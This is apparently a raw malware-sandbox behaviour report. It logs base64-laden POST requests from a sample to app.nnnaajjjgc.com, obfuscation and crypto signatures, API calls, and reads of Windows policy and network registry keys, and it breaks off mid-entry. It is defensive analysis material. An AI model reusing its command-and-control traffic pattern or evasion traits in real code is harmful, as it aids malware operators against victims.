/check/?sid=312590&key=99ceed90f452f7012dc64133d421afbd HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=312590&key=99ceed90f452f7012dc64133d421afbd HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=312590&key=99ceed90f452f7012dc64133d421afbd HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "aba19f00d09762a311fb7e15e8bd7d40" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "5d7cea06a7720aa01d6c03fa6d216b5c" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "22f5f2bbd686150ed94e0555c9cd2a00" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "7b1b9c870057a48bf48ec5c062e3e432" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "c00265f515679573ce47ef5d156ef089" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com"28:T484,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Found Base64 decoding crypto library string in memory Matched sigs: Found Base64 encoding crypto library string in memory Matched sigs: Contains CRYPTO related strings Matched sigs: Contains reference to cryptographic keys Matched sigs: YARA signature match - AES Encryption Matched sigs: YARA signature match - Crypto Library29:T13ee,".exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000018000000e6a8e41123251674d826b300687d997678f5b30030541674725d4f65feffffff94f4b300b240157438f4b3000000a47730f5b300cb401574e0dfb17608000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff3400000000000000c0f4b3000000000008000000000000000000000000000000000000000000000000000000dea8e4110000000000f5b30069924177ffffffff34000000c0f4b30008000000000000000000a47730f5b30027944177c8f4b3000b0000000000000018f5b300 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000a8e624074ce62407226ebe770000ed02000000002d6ebe77d3da95a42d000000ecb7f074d0e624070000b602e045c2027804c202070000008000000010e624070000b60294e6240770c8bf77674d75d4feffffff2d000000d0ccff742700000064e62407856ac0771c23c577a4e62407f85fc07708000000bb69bf77b269bf773bda95a42d000000ecb7f07427000000d0ccff7478e624072d000000d0ccff7427000000a8e62407856ac0771c23c577f0e624077e8afe74ee8cfe74738afe744f284e072d000000ecb7f07427000000d0ccff74042bed02982aed024f284e07b8e62407fc523c75a4e72407e084fe74873f5075feffffff738afe74 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000d8d1240738cfda772c37bc0244d2240701000000e036bc022c37bc02e036bc02040000000400000000e04b770010000044d2240701000000e036bc02cd97da779c97da77870cc39ab50f4277e036bc020000da7700000000b41027700000000080ee48770100000000000000f8e24b77000000000400000080a96f7448404a77f8e24b7748d2240780e8d276e0d5c20280e8d27644d224070000000080e8d27600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000076c2c3028cc2c302 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b647c402ce47c402 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000076c2c3028ac2c302 (UID: 00000000-00007196) ".exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000076c2c3028cc2c302 (UID: 00000000-00007196)2a:T77a,".exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006f006e0000005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067000500000512990000483abe023002bd022e0063006f006e0066006900670000006c006c00 (UID: 00000000-00007196) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000007018000000000000000a1140000ccd48c09ee13da7780000000ee13da77000000000000000080000000f062db6e00000000ecd48c095072be77000007010000000080000000f062db6e02000000002fdb6e08d58c09fb62db6e010000008004dc6e885fc07700000000667c09d238d58c09b864db6ef42edb6e (UID: 00000000-00005060) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff0c00000000000000fcdfaf020000000004000000000000000000000000000000ffffffffe83e108e00e0af02f1c63f77ffffffff0c000000fcdfaf0204000000000400000100000010e0af02210ef20600000000 (UID: 00000000-00006044) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000b0b2c400000000000100000001000000000000002c000000b039c50000000000140000000a000000000000000000000000006f0048e3c40014000000000000000000000000000000000000000000000000006e00000000006700000003000003 (UID: 00000000-00000100) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000e5008000000000000000a11400000cd43909ee13da7780000000ee13da77000000000000000080000000f062e16e000000002cd439095072be770000e5000000000080000000f062e16e02000000002fe16e48d43909fb62e16e010000008004e26e885fc07700000000ba5e163e78d43909b864e16ef42ee16e (UID: 00000000-00000100)2b:T411,Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "latestplayer.exe.3695084506") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "latestplayer.exe.3695084506") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "latestplayer.exe.3695084506") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "latestplayer.exe.3695084506") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "latestplayer.exe.3695084506") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "latestplayer.exe.3695084506") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "toolspub2.exe.1363130796") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; File: "toolspub2.exe.1363130796") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp")2c:T67d,".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") ".exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "aafg31.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "toolspub2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "toolspub2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "latestplayer.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")2d:T6f8,"aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "aafg31.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "aafg31.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2e:T15ac,".exe" queries volume information of "C:\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe" at 00000000-00007196-00000C15-31590122 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00005060-00000C15-45767221 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00005060-00000C15-48169088 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005060-00000C15-48617682 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005060-00000C15-48617812 "powershell.exe" queries volume information of "C:\" at 00000000-00005060-00000C15-48690087 "powershell.exe" queries volume information of "C:\share" at 00000000-00005060-00000C15-48691388 "powershell.exe" queries volume information of "C:\share" at 00000000-00005060-00000C15-48761706 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-50262246 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-50743092 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-50872236 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005060-00000C15-51085923 "powershell.exe" queries volume information of 